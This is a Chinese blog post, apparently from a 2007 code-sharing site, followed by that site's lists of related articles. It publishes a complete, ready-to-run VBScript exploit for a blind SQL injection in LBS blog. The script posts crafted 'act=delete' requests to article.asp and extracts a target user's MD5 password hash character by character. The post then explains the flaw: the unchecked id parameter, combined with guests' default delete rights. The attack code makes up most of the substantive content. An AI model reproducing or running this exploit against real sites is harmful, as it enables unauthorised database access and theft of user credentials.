LBS blog sql注射漏洞[All version]-官方已有补丁


Posted in Javascript onAugust 26, 2007

呵呵,只是证明下漏洞存在
exp如下,保存为vbs,自己下个程序测试自己吧

'From 剑心
'============================================================================
'使用说明:
' 在命令提示符下:
' cscript.exe lbsblog.vbs 要攻击的网站的博客路径 有效的文章id 要破解的博客用户密码
'如:
' cscript.exe lbsblog.vbs www.xxxx.com/blog/ 1 1
' by loveshell
'============================================================================
On Error Resume Next
Dim oArgs
Dim olbsXML 'XMLHTTP对象用来打开目标网址
Dim TargetURL '目标网址
Dim userid,articleid '博客用户名
Dim TempStr '存放已获取的部分 MD5密码
Dim CharHex '定义16进制字符
Dim charset

Set oArgs = WScript.arguments
If oArgs.count < 1 Then Call ShowUsage()

Set olbsXML = createObject("Microsoft.XMLHTTP")

'补充完整目标网址
TargetURL = oArgs(0)
If LCase(Left(TargetURL,7)) <> "http://" Then TargetURL = "http://" & TargetURL
If right(TargetURL,1) <> "/" Then TargetURL = TargetURL & "/"
TargetURL=TargetURL & "article.asp"

articleid=oArgs(1)
userid=oArgs(2)
TempStr=""
CharHex=Split("0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f",",")

WScript.echo "LBS blog All version Exploit"&vbcrlf
WScript.echo "By 剑心"&vbcrlf
WScript.echo "http://www.loveshell.net/    Just For fun :)"&vbcrlf&vbcrlf
WScript.echo "+Fuck the site now"&vbcrlf

Call main(TargetURL,BlogName) 

Set oBokeXML = Nothing

'----------------------------------------------sub-------------------------------------------------------
'============================================
'函数名称:main
'函数功能:主程序,注入获得blog 用户密码
'============================================
Sub main(TargetURL,BlogName)
Dim MainOffset,SubOffset,TempLen,OpenURL,GetPage
For MainOffset = 1 To 40
For SubOffset = 0 To 15
TempLen = 0
    postdata = ""
    postdata = articleid &" and (select left(user_password,"&MainOffset&") from blog_user where user_id=" & userid & ")='" & TempStr&CharHex(SubOffset) &"'"

    OpenURL = TargetURL

olbsXML.open "Post",OpenURL, False, "", ""
    olbsXML.setRequestHeader "Content-Type","application/x-www-form-urlencoded"
olbsXML.send "act=delete&id="& escape(postdata)
GetPage = BytesToBstr(olbsXML.ResponseBody)
'判断访问的页面是否存在
If InStr(GetPage,"deleted")<>0 Then 
'"博客用户不存在或填写的资料有误" 为错误标志 ,返回此标志说明 猜解的 MD5 不正确
'如果得到 0000000000000000 的 MD5 值,请修改错误标志
ElseIf InStr(GetPage,"permission")<>0 Then
TempStr=TempStr & CharHex(SubOffset)
WScript.Echo "+Crack now:"&TempStr
Exit for
Else
WScript.echo vbcrlf & "Something error" & vbcrlf 
WScript.echo vbcrlf & GetPage& vbcrlf 
WScript.Quit
End If 
next
Next
WScript.Echo vbcrlf& "+We Got It:" & TempStr & vbcrlf &vbcrlf&":P Don't Be evil"
End sub

'============================================
'函数名称:BytesToBstr
'函数功能:将XMLHTTP对象中的内容转化为GB2312编码
'============================================
Function BytesToBstr(body)
dim objstream
set objstream = createObject("ADODB.Stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = "GB2312"
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function

'============================
'函数名称:ShowUsage
'函数功能:使用方法提示
'============================
Sub ShowUsage()
WScript.echo " LBS blog Exploit" & vbcrlf & " By Loveshell/剑心"
WScript.echo "Usage:"& vbcrlf & " CScript " & WScript.ScriptFullName &" TargetURL BlogName"
WScript.echo "Example:"& vbcrlf & " CScript " & WScript.ScriptFullName &" http://www.loveshell.net/ 1 1"
WScript.echo ""
WScript.Quit
End Sub

漏洞说明:

src_article.asp中的
......
input["log_id"]=func.checkInt(input["log_id"]);
if(!input["id"]){
strError=lang["invalid_parameter"];
}else{
// Check if the article exists
theArticle.load("log_id, log_authorID, log_catID","log_id="+input["id"]);
strError=false;
}
......

过滤的是log_id,但是使用的确实id,呵呵 :)

然后呢?
class/article.asp中的代码
this.load = function(strselect, strwhere){
var tmpA=connBlog.query("select TOP 1 "+strselect+" FROM [blog_Article] where "+strwhere);
if(tmpA){
this.fill(tmpA[0]);
return true;
}else{
return false;
}
}

上面不用说了吧,呵呵.不过触发要条件的,看能满足不哦!

function articledelete(){
if(theUser.rights["delete"]<1){
// Check User Right - without DB Query
pageHeader(lang["error"]);
redirectMessage(lang["error"], lang["no_rights"], lang["goback"], "javascript:window.history.back();", false, "errorbox");
}else{
var theArticle=new lbsArticle();
var strError;

默认情况下guest都有删除权限的,尽管后面还做了判断,但是注入已经发生,而我们正好利用他的判断注射,呵呵

Javascript 相关文章推荐
JQuery Dialog(JS 模态窗口,可拖拽的DIV)
Feb 07 Javascript
Extjs单独定义各组件的实例代码
Jun 25 Javascript
js函数参数设置默认值的一种变通实现方法
May 26 Javascript
fixedBox固定div漂浮代码支持ie6以上大部分主流浏览器
Jun 26 Javascript
Jquery+ajax+JAVA(servlet)实现下拉菜单异步取值
Mar 23 Javascript
第二章之Bootstrap 页面排版样式
Apr 25 Javascript
jQuery鼠标事件总结
Oct 13 Javascript
AngularJS验证信息框架的封装插件用法【w5cValidator扩展插件】
Nov 03 Javascript
详解Js模板引擎(TrimPath)
Nov 22 Javascript
Vim快速合并行及vim 将文件所有行合并到一行
Nov 27 Javascript
浅析java线程中断的办法
Jul 29 Javascript
vue实现简易的双向数据绑定
Dec 29 Vue.js
javascript下操作css的float属性的特殊写法
Aug 22 #Javascript
ASP中用Join和Array,可以加快字符连接速度的代码
Aug 22 #Javascript
可以把编码转换成 gb2312编码lib.UTF8toGB2312.js
Aug 21 #Javascript
lib.utf.js
Aug 21 #Javascript
javascript实现上传图片前的预览(TX的面试题)
Aug 20 #Javascript
fix-ie5.js扩展在IE5下不能使用的几个方法
Aug 20 #Javascript
关于恒等于(===)和非恒等于(!==)
Aug 20 #Javascript
You might like
php学习之变量的使用
2011/05/29 PHP
迅速确定php多维数组的深度的方法
2014/01/07 PHP
Yii2选项卡的简单使用
2017/05/26 PHP
PHP中用Trait封装单例模式的实现
2019/12/18 PHP
PHP7 错误处理机制修改
2021/03/09 PHP
Div自动滚动到末尾的代码
2008/10/26 Javascript
javascript 原型继承介绍
2011/08/30 Javascript
如何用js控制frame的隐藏或显示的解决办法
2013/03/20 Javascript
将HTML格式的String转化为HTMLElement的实现方法
2014/08/07 Javascript
推荐5 个常用的JavaScript调试技巧
2015/01/08 Javascript
NodeJS学习笔记之FS文件模块
2015/01/13 NodeJs
AngularJS 日期格式化详解
2015/12/23 Javascript
JavaScript设计模式经典之命令模式
2016/02/24 Javascript
JS版微信6.0分享接口用法分析
2016/10/13 Javascript
Angular2表单自定义验证器的实现
2016/10/19 Javascript
EasyUI的TreeGrid的过滤功能的解决思路
2017/08/08 Javascript
JS实现的简单表单验证功能示例
2017/10/13 Javascript
js断点调试经验分享
2017/12/08 Javascript
vue动态路由配置及路由传参的方式
2018/05/23 Javascript
JavaScript实现简单计算器
2020/03/19 Javascript
微信小程序 获取手机号 JavaScript解密示例代码详解
2020/05/14 Javascript
Vue实现图书管理小案例
2020/12/03 Vue.js
python 图片验证码代码分享
2012/07/04 Python
python切换hosts文件代码示例
2013/12/31 Python
python连接oracle数据库实例
2014/10/17 Python
在Python3中初学者应会的一些基本的提升效率的小技巧
2015/03/31 Python
Python实现提取文章摘要的方法
2015/04/21 Python
Python使用sklearn实现的各种回归算法示例
2019/07/04 Python
python opencv 简单阈值算法的实现
2019/08/04 Python
哥德堡通行证:Gothenburg Pass
2019/12/09 全球购物
机械设计专业应届生求职信
2013/11/21 职场文书
大学生学习面向未来的赶考思想汇报
2014/09/12 职场文书
大学生党性分析材料
2014/12/19 职场文书
保管员岗位职责
2015/02/14 职场文书
Pytorch DataLoader shuffle验证方式
2021/06/02 Python
HTML+CSS 实现顶部导航栏菜单制作
2021/06/03 HTML / CSS